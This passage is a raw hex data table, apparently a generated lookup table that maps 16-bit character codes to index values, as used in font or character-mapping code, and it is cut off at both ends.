0x3F, 0x64, 0x20, +0x00, 0x40, 0x40, 0x65, 0x20, +0x00, 0x40, 0x41, 0x6f, 0x0a, +0x00, 0x40, 0x42, 0x99, 0x00, +0x00, 0x40, 0x43, 0x66, 0x20, +0x00, 0x40, 0x44, 0x67, 0x20, +0x00, 0x40, 0x45, 0x1b, 0x01, +0x00, 0x40, 0x46, 0x68, 0x20, +0x00, 0x40, 0x47, 0x69, 0x20, +0x00, 0x40, 0x48, 0x6a, 0x20, +0x00, 0x40, 0x49, 0xa0, 0x0c, +0x00, 0x40, 0x4A, 0x6b, 0x20, +0x00, 0x40, 0x4B, 0x6c, 0x20, +0x00, 0x40, 0x4C, 0x6d, 0x20, +0x00, 0x40, 0x4D, 0xc3, 0x0e, +0x00, 0x40, 0x4E, 0x6e, 0x20, +0x00, 0x40, 0x4F, 0x6f, 0x20, +0x00, 0x40, 0x50, 0x70, 0x20, +0x00, 0x40, 0x51, 0x71, 0x20, +0x00, 0x40, 0x52, 0x72, 0x20, +0x00, 0x40, 0x53, 0x73, 0x20, +0x00, 0x40, 0x54, 0x74, 0x20, +0x00, 0x40, 0x55, 0x75, 0x20, +0x00, 0x40, 0x56, 0x76, 0x20, +0x00, 0x40, 0x57, 0x3e, 0x07, +0x00, 0x40, 0x58, 0x77, 0x20, +0x00, 0x40, 0x59, 0x78, 0x20, +0x00, 0x40, 0x5A, 0x79, 0x20, +0x00, 0x40, 0x5B, 0x7a, 0x20, +0x00, 0x40, 0x5C, 0x7b, 0x20, +0x00, 0x40, 0x5D, 0x7c, 0x20, +0x00, 0x40, 0x5E, 0x7d, 0x20, +0x00, 0x40, 0x5F, 0x7e, 0x20, +0x00, 0x40, 0x60, 0x7f, 0x20, +0x00, 0x40, 0x61, 0x80, 0x20, +0x00, 0x40, 0x62, 0x81, 0x20, +0x00, 0x40, 0x63, 0x50, 0x1a, +0x00, 0x40, 0x64, 0x82, 0x20, +0x00, 0x40, 0x65, 0x83, 0x20, +0x00, 0x40, 0x66, 0x84, 0x20, +0x00, 0x40, 0x67, 0x85, 0x20, +0x00, 0x40, 0x68, 0x86, 0x20, +0x00, 0x40, 0x69, 0x87, 0x20, +0x00, 0x40, 0x6A, 0x88, 0x20, +0x00, 0x40, 0x6B, 0x89, 0x20, +0x00, 0x40, 0x6C, 0x8a, 0x20, +0x00, 0x40, 0x6D, 0x8b, 0x20, +0x00, 0x40, 0x6E, 0x8c, 0x20, +0x00, 0x40, 0x6F, 0x8d, 0x20, +0x00, 0x40, 0x70, 0x8e, 0x20, +0x00, 0x40, 0x71, 0x8f, 0x20, +0x00, 0x40, 0x72, 0xe0, 0x0e, +0x00, 0x40, 0x73, 0x90, 0x20, +0x00, 0x40, 0x74, 0x91, 0x20, +0x00, 0x40, 0x75, 0x9b, 0x00, +0x00, 0x40, 0x76, 0x92, 0x20, +0x00, 0x40, 0x77, 0x93, 0x20, +0x00, 0x40, 0x78, 0x94, 0x20, +0x00, 0x40, 0x79, 0x95, 0x20, +0x00, 0x40, 0x7A, 0x96, 0x20, +0x00, 0x40, 0x7B, 0x8c, 0x01, +0x00, 0x40, 0x7C, 0x97, 0x20, +0x00, 0x40, 0x7D, 0x98, 0x20, +0x00, 0x40, 0x7E, 0xb3, 0x1a, +0x00, 0x40, 0x7F, 0x65, 0x17, +0x00, 0x40, 0x80, 0x99, 0x20, +0x00, 0x40, 0x81, 0x28, 0x02, +0x00, 0x40, 0x82, 0x9a, 0x20, +0x00, 0x40, 0x83, 0x9b, 0x20, +0x00, 0x40, 0x84, 0xc2, 0x05, +0x00, 0x40, 0x85, 0x9c, 0x20, +0x00, 0x40, 0x86, 0x9d, 0x20, +0x00, 0x40, 0x87, 0x9e, 0x20, +0x00, 0x40, 0x88, 0x9f, 0x20, +0x00, 0x40, 0x89, 0xa0, 0x20, +0x00, 0x40, 0x8A, 0xa1, 0x20, +0x00, 0x40, 0x8B, 0xa2, 0x20, +0x00, 0x40, 0x8C, 0xa3, 0x20, +0x00, 0x40, 0x8D, 0xa4, 0x20, +0x00, 0x40, 0x8E, 0x9b, 0x00, +0x00, 0x40, 0x8F, 0xa5, 0x20, +0x00, 0x40, 0x90, 0xa6, 0x20, +0x00, 0x40, 0x91, 0xc9, 0x1f, +0x00, 0x40, 0x92, 0xa7, 0x20, +0x00, 0x40, 0x93, 0xa8, 0x20, +0x00, 0x40, 0x94, 0xa9, 0x20, +0x00, 0x40, 0x95, 0xaa, 0x20, +0x00, 0x40, 0x96, 0xab, 0x20, +0x00, 0x40, 0x97, 0xac, 0x20, +0x00, 0x40, 0x98, 0xad, 0x20, +0x00, 0x40, 0x99, 0xae, 0x20, +0x00, 0x40, 0x9A, 0xfb, 0x01, +0x00, 0x40, 0x9B, 0xaf, 0x20, +0x00, 0x40, 0x9C, 0xb0, 0x20, +0x00, 0x40, 0x9D, 0xb1, 0x20, +0x00, 0x40, 0x9E, 0xb2, 0x20, +0x00, 0x40, 0x9F, 0x18, 0x00, +0x00, 0x40, 0xA0, 0x79, 0x20, +0x00, 0x40, 0xA1, 0xb3, 0x20, +0x00, 0x40, 0xA2, 0xb4, 0x20, +0x00, 0x40, 0xA3, 0xb5, 0x20, +0x00, 0x40, 0xA4, 0xb6, 0x20, +0x00, 0x40, 0xA5, 0xb7, 0x20, +0x00, 0x40, 0xA6, 0xb8, 0x20, +0x00, 0x40, 0xA7, 0xb9, 0x20, +0x00, 0x40, 0xA8, 0xba, 0x20, +0x00, 0x40, 0xA9, 0x14, 0x12, +0x00, 0x40, 0xAA, 0xbb, 0x20, +0x00, 0x40, 0xAB, 0xbc, 0x20, +0x00, 0x40, 0xAC, 0xbd, 0x20, +0x00, 0x40, 0xAD, 0xbe, 0x20, +0x00, 0x40, 0xAE, 0xbf, 0x20, +0x00, 0x40, 0xAF, 0x98, 0x01, +0x00, 0x40, 0xB0, 0xc0, 0x20, +0x00, 0x40, 0xB1, 0xc1, 0x20, +0x00, 0x40, 0xB2, 0xc2, 0x20, +0x00, 0x40, 0xB3, 0xc3, 0x20, +0x00, 0x40, 0xB4, 0xc4, 0x20, +0x00, 0x40, 0xB5, 0xc5, 0x20, +0x00, 0x40, 0xB6, 0x63, 0x00, +0x00, 0x40, 0xB7, 0xc6, 0x20, +0x00, 0x40, 0xB8, 0xc7, 0x20, +0x00, 0x40, 0xB9, 0xc8, 0x20, +0x00, 0x40, 0xBA, 0xc9, 0x20, +0x00, 0x40, 0xBB, 0x79, 0x20, +0x00, 0x40, 0xBC, 0x74, 0x1a, +0x00, 0x40, 0xBD, 0xca, 0x1b, +0x00, 0x40, 0xBE, 0xca, 0x20, +0x00, 0x40, 0xBF, 0xcb, 0x20, +0x00, 0x40, 0xC0, 0x56, 0x08, +0x00, 0x40, 0xC1, 0xcc, 0x20, +0x00, 0x40, 0xC2, 0xcd, 0x20, +0x00, 0x40, 0xC3, 0xce, 0x20, +0x00, 0x40, 0xC4, 0xcf, 0x20, +0x00, 0x40, 0xC5, 0xd0, 0x20, +0x00, 0x40, 0xC6, 0xd1, 0x20, +0x00, 0x40, 0xC7, 0x59, 0x1d, +0x00, 0x40, 0xC8, 0xd2, 0x20, +0x00, 0x40, 0xC9, 0xd3, 0x20, +0x00, 0x40, 0xCA, 0x3b, 0x10, +0x00, 0x40, 0xCB, 0xd4, 0x20, +0x00, 0x40, 0xCC, 0xd5, 0x20, +0x00, 0x40, 0xCD, 0xd6, 0x20, +0x00, 0x40, 0xCE, 0xd7, 0x20, +0x00, 0x40, 0xCF, 0xb9, 0x14, +0x00, 0x40, 0xD0, 0x14, 0x1c, +0x00, 0x40, 0xD1, 0xd8, 0x20, +0x00, 0x40, 0xD2, 0xd9, 0x20, +0x00, 0x40, 0xD3, 0xda, 0x20, +0x00, 0x40, 0xD4, 0xdb, 0x20, +0x00, 0x40, 0xD5, 0xdc, 0x20, +0x00, 0x40, 0xD6, 0xdd, 0x20, +0x00, 0x40, 0xD7, 0xde, 0x20, +0x00, 0x40, 0xD8, 0xdf, 0x20, +0x00, 0x40, 0xD9, 0x36, 0x06, +0x00, 0x40, 0xDA, 0xe0, 0x20, +0x00, 0x40, 0xDB, 0xf7, 0x01, +0x00, 0x40, 0xDC, 0xe1, 0x20, +0x00, 0x40, 0xDD, 0xe2, 0x20, +0x00, 0x40, 0xDE, 0xe3, 0x20, +0x00, 0x40, 0xDF, 0xe4, 0x20, +0x00, 0x40, 0xE0, 0xe5, 0x20, +0x00, 0x40, 0xE1, 0xe6, 0x20, +0x00, 0x40, 0xE2, 0xe7, 0x20, +0x00, 0x40, 0xE3, 0xe8, 0x20, +0x00, 0x40, 0xE4, 0xe9, 0x20, +0x00, 0x40, 0xE5, 0xea, 0x20, +0x00, 0x40, 0xE6, 0xeb, 0x20, +0x00, 0x40, 0xE7, 0xec, 0x20, +0x00, 0x40, 0xE8, 0xed, 0x20, +0x00, 0x40, 0xE9, 0xee, 0x20, +0x00, 0x40, 0xEA, 0xef, 0x20, +0x00, 0x40, 0xEB, 0xf0, 0x20, +0x00, 0x40, 0xEC, 0xf1, 0x20, +0x00, 0x40, 0xED, 0xbb, 0x14, +0x00, 0x40, 0xEE, 0xf2, 0x20, +0x00, 0x40, 0xEF, 0xf3, 0x20, +0x00, 0x40, 0xF0, 0x83, 0x0a, +0x00, 0x40, 0xF1, 0xf4, 0x20, +0x00, 0x40, 0xF2, 0xf5, 0x20, +0x00, 0x40, 0xF3, 0xf6, 0x20, +0x00, 0x40, 0xF4, 0x2a, 0x15, +0x00, 0x40, 0xF5, 0xf7, 0x20, +0x00, 0x40, 0xF6, 0xf8, 0x20, +0x00, 0x40, 0xF7, 0xf7, 0x03, +0x00, 0x40, 0xF8, 0xf9, 0x20, +0x00, 0x40, 0xF9, 0xfa, 0x20, +0x00, 0x40, 0xFA, 0xfb, 0x20, +0x00, 0x40, 0xFB, 0xfc, 0x20, +0x00, 0x40, 0xFC, 0xfd, 0x20, +0x00, 0x40, 0xFD, 0xfe, 0x20, +0x00, 0x40, 0xFE, 0xff, 0x20, +0x00, 0x40, 0xFF, 0x00, 0x21, +0x00, 0x41, 0xB4, 0x01, 0x21, +0x00, 0x41, 0xD2, 0x05, 0x00, +0x00, 0x42, 0x52, 0x02, 0x21, +0x00, 0x42, 0x5A, 0x05, 0x00, +0x00, 0x42, 0x68, 0x05, 0x00, +0x00, 0x43, 0xFF, 0x03, 0x21, +0x00, 0x45, 0x01, 0x04, 0x21, +0x00, 0x46, 0x4B, 0xda, 0x14, +0x00, 0x48, 0x54, 0x54, 0x18, +0x00, 0x4A, 0x77, 0xe1, 0x12, +0x00, 0x4B, 0xF3, 0xe9, 0x01, +0x00, 0x4D, 0x32, 0x05, 0x21, +0x00, 0x4F, 0x49, 0x06, 0x21, +0x00, 0x4F, 0x4B, 0x07, 0x21, +0x00, 0x50, 0x00, 0x08, 0x21, +0x00, 0x50, 0x01, 0x09, 0x21, +0x00, 0x50, 0x02, 0x0a, 0x21, +0x00, 0x50, 0x03, 0x0b, 0x21, +0x00, 0x50, 0x04, 0x63, 0x0e, +0x00, 0x50, 0x06, 0xb6, 0x0e, +0x00, 0x50, 0x07, 0x5d, 0x15, +0x00, 0x50, 0x08, 0x0c, 0x21, +0x00, 0x50, 0x09, 0x0d, 0x21, +0x00, 0x50, 0x0A, 0x0e, 0x21, +0x00, 0x50, 0x0B, 0x05, 0x00, +0x00, 0x50, 0x0C, 0x0f, 0x21, +0x00, 0x50, 0x0D, 0x10, 0x21, +0x00, 0x50, 0x0E, 0x26, 0x00, +0x00, 0x50, 0x0F, 0x05, 0x00, +0x00, 0x50, 0x10, 0x11, 0x21, +0x00, 0x50, 0x12, 0x12, 0x21, +0x00, 0x50, 0x13, 0x13, 0x21, +0x00, 0x50, 0x14, 0x05, 0x00, +0x00, 0x50, 0x15, 0x14, 0x21, +0x00, 0x50, 0x16, 0x15, 0x21, +0x00, 0x50, 0x17, 0x16, 0x21, +0x00, 0x50, 0x18, 0x17, 0x21, +0x00, 0x50, 0x19, 0x18, 0x21, +0x00, 0x50, 0x1A, 0x19, 0x21, +0x00, 0x50, 0x1B, 0x1a, 0x21, +0x00, 0x50, 0x1C, 0x1b, 0x21, +0x00, 0x50, 0x1E, 0x1c, 0x21, +0x00, 0x50, 0x1F, 0x1d, 0x21, +0x00, 0x50, 0x20, 0x1e, 0x21, +0x00, 0x50, 0x21, 0x1f, 0x21, +0x00, 0x50, 0x22, 0x20, 0x21, +0x00, 0x50, 0x23, 0x21, 0x21, +0x00, 0x50, 0x24, 0x22, 0x21, +0x00, 0x50, 0x26, 0x23, 0x21, +0x00, 0x50, 0x27, 0x24, 0x21, +0x00, 0x50, 0x28, 0x25, 0x21, +0x00, 0x50, 0x29, 0x26, 0x21, +0x00, 0x50, 0x2A, 0x05, 0x00, +0x00, 0x50, 0x2B, 0x27, 0x21, +0x00, 0x50, 0x2C, 0x28, 0x21, +0x00, 0x50, 0x2D, 0x29, 0x21, +0x00, 0x50, 0x2E, 0x2a, 0x21, +0x00, 0x50, 0x2F, 0x2b, 0x21, +0x00, 0x50, 0x30, 0x2c, 0x21, +0x00, 0x50, 0x31, 0x2d, 0x21, +0x00, 0x50, 0x32, 0x2e, 0x21, +0x00, 0x50, 0x33, 0x2f, 0x21, +0x00, 0x50, 0x36, 0x30, 0x21, +0x00, 0x50, 0x37, 0x31, 0x21, +0x00, 0x50, 0x38, 0x32, 0x21, +0x00, 0x50, 0x39, 0x33, 0x21, +0x00, 0x50, 0x3A, 0x34, 0x21, +0x00, 0x50, 0x3B, 0x35, 0x21, +0x00, 0x50, 0x3C, 0x3a, 0x04, +0x00, 0x50, 0x3E, 0x05, 0x00, +0x00, 0x50, 0x3F, 0x36, 0x21, +0x00, 0x50, 0x40, 0x5e, 0x0d, +0x00, 0x50, 0x41, 0x37, 0x21, +0x00, 0x50, 0x42, 0x38, 0x21, +0x00, 0x50, 0x43, 0x39, 0x21, +0x00, 0x50, 0x44, 0x3a, 0x21, +0x00, 0x50, 0x45, 0x3b, 0x21, +0x00, 0x50, 0x46, 0x3c, 0x21, +0x00, 0x50, 0x47, 0x65, 0x00, +0x00, 0x50, 0x48, 0x3d, 0x21, +0x00, 0x50, 0x49, 0x3e, 0x21, +0x00, 0x50, 0x4A, 0x3f, 0x21, +0x00, 0x50, 0x4B, 0x40, 0x21, +0x00, 0x50, 0x4C, 0x41, 0x21, +0x00, 0x50, 0x4D, 0x42, 0x21, +0x00, 0x50, 0x4E, 0x43, 0x21, +0x00, 0x50, 0x4F, 0x44, 0x21, +0x00, 0x50, 0x50, 0x05, 0x00, +0x00, 0x50, 0x51, 0x45, 0x21, +0x00, 0x50, 0x52, 0x46, 0x21, +0x00, 0x50, 0x53, 0x05, 0x00, +0x00, 0x50, 0x54, 0x05, 0x00, +0x00, 0x50, 0x55, 0x47, 0x21, +0x00, 0x50, 0x56, 0xf0, 0x04, +0x00, 0x50, 0x57, 0xe6, 0x0d, +0x00, 0x50, 0x58, 0x48, 0x21, +0x00, 0x50, 0x59, 0x49, 0x21, +0x00, 0x50, 0x5A, 0xf0, 0x16, +0x00, 0x50, 0x5B, 0x8f, 0x05, +0x00, 0x50, 0x5C, 0x4a, 0x21, +0x00, 0x50, 0x5E, 0x4b, 0x21, +0x00, 0x50, 0x5F, 0x4c, 0x21, +0x00, 0x50, 0x60, 0x97, 0x0f, +0x00, 0x50, 0x62, 0x4d, 0x21, +0x00, 0x50, 0x63, 0x4e, 0x21, +0x00, 0x50, 0x64, 0x4f, 0x21, +0x00, 0x50, 0x65, 0xf6, 0x15, +0x00, 0x50, 0x66, 0x50, 0x21, +0x00, 0x50, 0x67, 0x51, 0x21, +0x00, 0x50, 0x68, 0x38, 0x05, +0x00, 0x50, 0x69, 0x52, 0x21, +0x00, 0x50, 0x6A, 0x53, 0x21, +0x00, 0x50, 0x6B, 0x54, 0x21, +0x00, 0x50, 0x6C, 0x55, 0x21, +0x00, 0x50, 0x6D, 0x56, 0x21, +0x00, 0x50, 0x6E, 0x57, 0x21, +0x00, 0x50, 0x6F, 0x58, 0x21, +0x00, 0x50, 0x70, 0x59, 0x21, +0x00, 0x50, 0x71, 0x5a, 0x21, +0x00, 0x50, 0x72, 0x5b, 0x21, +0x00, 0x50, 0x73, 0x05, 0x00, +0x00, 0x50, 0x74, 0xf7, 0x01, +0x00, 0x50, 0x75, 0x5c, 0x21, +0x00, 0x50, 0x76, 0x2f, 0x02, +0x00, 0x50, 0x77, 0x5d, 0x21, +0x00, 0x50, 0x78, 0x5e, 0x21, +0x00, 0x50, 0x79, 0x65, 0x00, +0x00, 0x50, 0x7A, 0xe8, 0x02, +0x00, 0x50, 0x7B, 0x5f, 0x21, +0x00, 0x50, 0x7C, 0x60, 0x21, +0x00, 0x50, 0x7D, 0x61, 0x21, +0x00, 0x50, 0x7E, 0x62, 0x21, +0x00, 0x50, 0x7F, 0xbd, 0x18, +0x00, 0x50, 0x80, 0x05, 0x00, +0x00, 0x50, 0x81, 0xd4, 0x0c, +0x00, 0x50, 0x82, 0x63, 0x21, +0x00, 0x50, 0x83, 0x64, 0x21, +0x00, 0x50, 0x84, 0x65, 0x21, +0x00, 0x50, 0x86, 0x66, 0x21, +0x00, 0x50, 0x87, 0x67, 0x21, +0x00, 0x50, 0x88, 0x68, 0x21, +0x00, 0x50, 0x89, 0x69, 0x21, +0x00, 0x50, 0x8B, 0xc9, 0x01, +0x00, 0x50, 0x8C, 0x6a, 0x21, +0x00, 0x50, 0x8D, 0x6b, 0x21, +0x00, 0x50, 0x8E, 0x6c, 0x21, +0x00, 0x50, 0x8F, 0x6d, 0x21, +0x00, 0x50, 0x90, 0x6e, 0x21, +0x00, 0x50, 0x91, 0x6f, 0x21, +0x00, 0x50, 0x92, 0x70, 0x21, +0x00, 0x50, 0x93, 0x5e, 0x06, +0x00, 0x50, 0x94, 0xb9, 0x00, +0x00, 0x50, 0x95, 0x71, 0x21, +0x00, 0x50, 0x96, 0x72, 0x21, +0x00, 0x50, 0x97, 0x73, 0x21, +0x00, 0x50, 0x98, 0x74, 0x21, +0x00, 0x50, 0x99, 0xc0, 0x03, +0x00, 0x50, 0x9A, 0x75, 0x21, +0x00, 0x50, 0x9B, 0x76, 0x21, +0x00, 0x50, 0x9C, 0x77, 0x21, +0x00, 0x50, 0x9D, 0x78, 0x21, +0x00, 0x50, 0x9E, 0x79, 0x21, +0x00, 0x50, 0x9F, 0x7a, 0x21, +0x00, 0x50, 0xA0, 0x7b, 0x21, +0x00, 0x50, 0xA1, 0xed, 0x15, +0x00, 0x50, 0xA2, 0x05, 0x00, +0x00, 0x50, 0xA3, 0x7c, 0x21, +0x00, 0x50, 0xA4, 0x7d, 0x21, +0x00, 0x50, 0xA5, 0x7e, 0x21, +0x00, 0x50, 0xA6, 0xea, 0x1f, +0x00, 0x50, 0xA7, 0x05, 0x00, +0x00, 0x50, 0xA8, 0x7f, 0x21, +0x00, 0x50, 0xA9, 0x80, 0x21, +0x00, 0x50, 0xAA, 0xb2, 0x1a, +0x00, 0x50, 0xAB, 0x81, 0x21, +0x00, 0x50, 0xAC, 0x6c, 0x20, +0x00, 0x50, 0xAD, 0x82, 0x21, +0x00, 0x50, 0xAE, 0x83, 0x21, +0x00, 0x50, 0xAF, 0x84, 0x21, +0x00, 0x50, 0xB0, 0x71, 0x0c, +0x00, 0x50, 0xB1, 0x85, 0x21, +0x00, 0x50, 0xB2, 0x86, 0x21, +0x00, 0x50, 0xB3, 0x87, 0x21, +0x00, 0x50, 0xB4, 0x88, 0x21, +0x00, 0x50, 0xB5, 0x89, 0x21, +0x00, 0x50, 0xB6, 0x8a, 0x21, +0x00, 0x50, 0xB7, 0x8b, 0x21, +0x00, 0x50, 0xB8, 0x8c, 0x21, +0x00, 0x50, 0xB9, 0x8d, 0x21, +0x00, 0x50, 0xBA, 0xe8, 0x04, +0x00, 0x50, 0xBB, 0x8e, 0x21, +0x00, 0x50, 0xBC, 0x8f, 0x21, +0x00, 0x50, 0xBD, 0x05, 0x00, +0x00, 0x50, 0xBE, 0x90, 0x21, +0x00, 0x50, 0xBF, 0x82, 0x0a, +0x00, 0x50, 0xC0, 0x91, 0x21, +0x00, 0x50, 0xC1, 0x92, 0x21, +0x00, 0x50, 0xC2, 0x57, 0x17, +0x00, 0x50, 0xC4, 0x93, 0x21, +0x00, 0x50, 0xC5, 0x94, 0x21, +0x00, 0x50, 0xC6, 0x95, 0x21, +0x00, 0x50, 0xC7, 0x65, 0x00, +0x00, 0x50, 0xC8, 0x96, 0x21, +0x00, 0x50, 0xC9, 0x97, 0x21, +0x00, 0x50, 0xCA, 0x98, 0x21, +0x00, 0x50, 0xCB, 0x99, 0x21, +0x00, 0x50, 0xCC, 0x13, 0x21, +0x00, 0x50, 0xCD, 0x9a, 0x21, +0x00, 0x50, 0xCE, 0x9b, 0x21, +0x00, 0x50, 0xCF, 0x9c, 0x21, +0x00, 0x50, 0xD0, 0x9d, 0x21, +0x00, 0x50, 0xD1, 0x05, 0x00, +0x00, 0x50, 0xD2, 0x9e, 0x21, +0x00, 0x50, 0xD3, 0x0a, 0x17, +0x00, 0x50, 0xD4, 0x9f, 0x21, +0x00, 0x50, 0xD5, 0xa0, 0x21, +0x00, 0x50, 0xD6, 0xa1, 0x21, +0x00, 0x50, 0xD7, 0xa2, 0x21, +0x00, 0x50, 0xD8, 0xa3, 0x21, +0x00, 0x50, 0xD9, 0xa4, 0x21, +0x00, 0x50, 0xDA, 0xf2, 0x00, +0x00, 0x50, 0xDB, 0xfc, 0x11, +0x00, 0x50, 0xDC, 0xa5, 0x21, +0x00, 0x50, 0xDD, 0xa6, 0x21, +0x00, 0x50, 0xDE, 0xa7, 0x21, +0x00, 0x50, 0xDF, 0xa8, 0x21, +0x00, 0x50, 0xE1, 0xa9, 0x21, +0x00, 0x50, 0xE2, 0x05, 0x00, +0x00, 0x50, 0xE3, 0xb9, 0x00, +0x00, 0x50, 0xE4, 0x51, 0x03, +0x00, 0x50, 0xE6, 0xaa, 0x21, +0x00, 0x50, 0xE7, 0x12, 0x0f, +0x00, 0x50, 0xE8, 0xab, 0x21, +0x00, 0x50, 0xEA, 0xac, 0x21, +0x00, 0x50, 0xEB, 0xad, 0x21, +0x00, 0x50, 0xEC, 0xae, 0x21, +0x00, 0x50, 0xED, 0xaf, 0x21, +0x00, 0x50, 0xEE, 0xb0, 0x21, +0x00, 0x50, 0xEF, 0xb1, 0x21, +0x00, 0x50, 0xF0, 0x05, 0x00, +0x00, 0x50, 0xF1, 0x82, 0x02, +0x00, 0x50, 0xF2, 0xb4, 0x03, +0x00, 0x50, 0xF3, 0xb2, 0x21, +0x00, 0x50, 0xF4, 0xb3, 0x21, +0x00, 0x50, 0xF6, 0xb4, 0x21, +0x00, 0x50, 0xF7, 0xb5, 0x21, +0x00, 0x50, 0xF8, 0xb6, 0x21, +0x00, 0x50, 0xF9, 0xb7, 0x21, +0x00, 0x50, 0xFA, 0xb8, 0x21, +0x00, 0x50, 0xFB, 0xb9, 0x21, +0x00, 0x50, 0xFC, 0x9f, 0x0c, +0x00, 0x50, 0xFD, 0xba, 0x21, +0x00, 0x50, 0xFE, 0xbb, 0x21, +0x00, 0x50, 0xFF, 0xbc, 0x21, +0x00, 0x52, 0x18, 0xbd, 0x21, +0x00, 0x54, 0x9F, 0xc2, 0x03, +0x00, 0x54, 0xAF, 0x6b, 0x19, +0x00, 0x54, 0xBD, 0xbe, 0x21, +0x00, 0x55, 0x00, 0x01, 0x00, +0x00, 0x55, 0xDA, 0x57, 0x17, +0x00, 0x56, 0x2B, 0x05, 0x00, +0x00, 0x56, 0xCD, 0x51, 0x03, +0x00, 0x57, 0xD2, 0x05, 0x00, +0x00, 0x58, 0x3F, 0xbf, 0x21, +0x00, 0x59, 0x07, 0xc0, 0x21, +0x00, 0x59, 0x79, 0xc1, 0x21, +0x00, 0x59, 0xAC, 0xc2, 0x21, +0x00, 0x59, 0xDC, 0x05, 0x00, +0x00, 0x5A, 0x13, 0xda, 0x14, +0x00, 0x5A, 0x39, 0xe9, 0x01, +0x00, 0x5B, 0xA1, 0x0e, 0x03, +0x00, 0x5C, 0x86, 0xe9, 0x01, +0x00, 0x5C, 0xB1, 0xc3, 0x21, +0x00, 0x5D, 0x03, 0x2d, 0x09, +0x00, 0x5D, 0x73, 0x05, 0x00, +0x00, 0x5F, 0x86, 0x05, 0x00, +0x00, 0x60, 0x00, 0xc4, 0x21, +0x00, 0x60, 0x01, 0xc5, 0x21, +0x00, 0x60, 0x02, 0xc6, 0x21, +0x00, 0x60, 0x03, 0xc7, 0x21, +0x00, 0x60, 0x04, 0xc8, 0x21, +0x00, 0x60, 0x05, 0xc9, 0x21, +0x00, 0x60, 0x06, 0xca, 0x21, +0x00, 0x60, 0x07, 0xcb, 0x21, +0x00, 0x60, 0x08, 0xcc, 0x21, +0x00, 0x60, 0x09, 0xcd, 0x21, +0x00, 0x60, 0x0A, 0xce, 0x21, +0x00, 0x60, 0x0B, 0xcf, 0x21, +0x00, 0x60, 0x0C, 0xd0, 0x21, +0x00, 0x60, 0x0D, 0x25, 0x10, +0x00, 0x60, 0x0E, 0xd1, 0x21, +0x00, 0x60, 0x0F, 0x0a, 0x0e, +0x00, 0x60, 0x10, 0xd2, 0x21, +0x00, 0x60, 0x11, 0xd3, 0x21, +0x00, 0x60, 0x12, 0xd4, 0x21, +0x00, 0x60, 0x13, 0xd5, 0x21, +0x00, 0x60, 0x14, 0xd6, 0x21, +0x00, 0x60, 0x15, 0xd7, 0x21, +0x00, 0x60, 0x16, 0xd8, 0x21, +0x00, 0x60, 0x17, 0xd9, 0x21, +0x00, 0x60, 0x18, 0xda, 0x21, +0x00, 0x60, 0x19, 0xa0, 0x0c, +0x00, 0x60, 0x1A, 0xdb, 0x21, +0x00, 0x60, 0x1B, 0xdc, 0x21, +0x00, 0x60, 0x1C, 0xdd, 0x21, +0x00, 0x60, 0x1D, 0x09, 0x05, +0x00, 0x60, 0x1E, 0xde, 0x21, +0x00, 0x60, 0x1F, 0xdf, 0x21, +0x00, 0x60, 0x20, 0xe0, 0x21, +0x00, 0x60, 0x21, 0xe1, 0x21, +0x00, 0x60, 0x22, 0xe2, 0x21, +0x00, 0x60, 0x23, 0xe3, 0x21, +0x00, 0x60, 0x24, 0xe4, 0x21, +0x00, 0x60, 0x25, 0xe5, 0x21, +0x00, 0x60, 0x26, 0xe6, 0x21, +0x00, 0x60, 0x27, 0xe7, 0x21, +0x00, 0x60, 0x28, 0xe8, 0x21, +0x00, 0x60, 0x29, 0xe9, 0x21, +0x00, 0x60, 0x2A, 0xea, 0x21, +0x00, 0x60, 0x2B, 0xeb, 0x21, +0x00, 0x60, 0x2C, 0xec, 0x21, +0x00, 0x60, 0x2D, 0xed, 0x21, +0x00, 0x60, 0x2E, 0xee, 0x21, +0x00, 0x60, 0x2F, 0x05, 0x00, +0x00, 0x60, 0x30, 0xef, 0x21, +0x00, 0x60, 0x31, 0xf0, 0x21, +0x00, 0x60, 0x32, 0xf1, 0x21, +0x00, 0x60, 0x33, 0xf2, 0x21, +0x00, 0x60, 0x34, 0xf0, 0x0b, +0x00, 0x60, 0x35, 0xf3, 0x21, +0x00, 0x60, 0x36, 0xf4, 0x21, +0x00, 0x60, 0x37, 0xf5, 0x21, +0x00, 0x60, 0x38, 0x69, 0x01, +0x00, 0x60, 0x39, 0xf6, 0x21, +0x00, 0x60, 0x3A, 0xf7, 0x21, +0x00, 0x60, 0x3B, 0xf8, 0x21, +0x00, 0x60, 0x3C, 0xf9, 0x21, +0x00, 0x60, 0x3D, 0xfa, 0x21, +0x00, 0x60, 0x3E, 0xfb, 0x21, +0x00, 0x60, 0x3F, 0xfc, 0x21, +0x00, 0x60, 0x40, 0xfd, 0x21, +0x00, 0x60, 0x41, 0x5d, 0x00, +0x00, 0x60, 0x42, 0xfe, 0x21, +0x00, 0x60, 0x43, 0xff, 0x21, +0x00, 0x60, 0x44, 0x00, 0x22, +0x00, 0x60, 0x45, 0x01, 0x22, +0x00, 0x60, 0x46, 0x02, 0x22, +0x00, 0x60, 0x47, 0x05, 0x00, +0x00, 0x60, 0x48, 0x8f, 0x00, +0x00, 0x60, 0x49, 0x03, 0x22, +0x00, 0x60, 0x4A, 0x04, 0x22, +0x00, 0x60, 0x4B, 0x05, 0x22, +0x00, 0x60, 0x4C, 0xc4, 0x0c, +0x00, 0x60, 0x4D, 0x06, 0x22, +0x00, 0x60, 0x4E, 0x07, 0x22, +0x00, 0x60, 0x4F, 0x9b, 0x00, +0x00, 0x60, 0x50, 0x08, 0x22, +0x00, 0x60, 0x51, 0x09, 0x22, +0x00, 0x60, 0x52, 0x0a, 0x22, +0x00, 0x60, 0x53, 0x0b, 0x22, +0x00, 0x60, 0x54, 0x0c, 0x22, +0x00, 0x60, 0x55, 0x0d, 0x22, +0x00, 0x60, 0x56, 0x31, 0x0b, +0x00, 0x60, 0x57, 0xd4, 0x0c, +0x00, 0x60, 0x58, 0x0e, 0x22, +0x00, 0x60, 0x59, 0x35, 0x06, +0x00, 0x60, 0x5A, 0x0f, 0x22, +0x00, 0x60, 0x5B, 0xa4, 0x05, +0x00, 0x60, 0x5C, 0x05, 0x00, +0x00, 0x60, 0x5D, 0x10, 0x22, +0x00, 0x60, 0x5E, 0x11, 0x22, +0x00, 0x60, 0x5F, 0x12, 0x22, +0x00, 0x60, 0x60, 0x13, 0x22, +0x00, 0x60, 0x61, 0x14, 0x22, +0x00, 0x60, 0x62, 0x15, 0x22, +0x00, 0x60, 0x63, 0x16, 0x22, +0x00, 0x60, 0x64, 0x4f, 0x20, +0x00, 0x60, 0x65, 0x17, 0x22, +0x00, 0x60, 0x66, 0xda, 0x1b, +0x00, 0x60, 0x67, 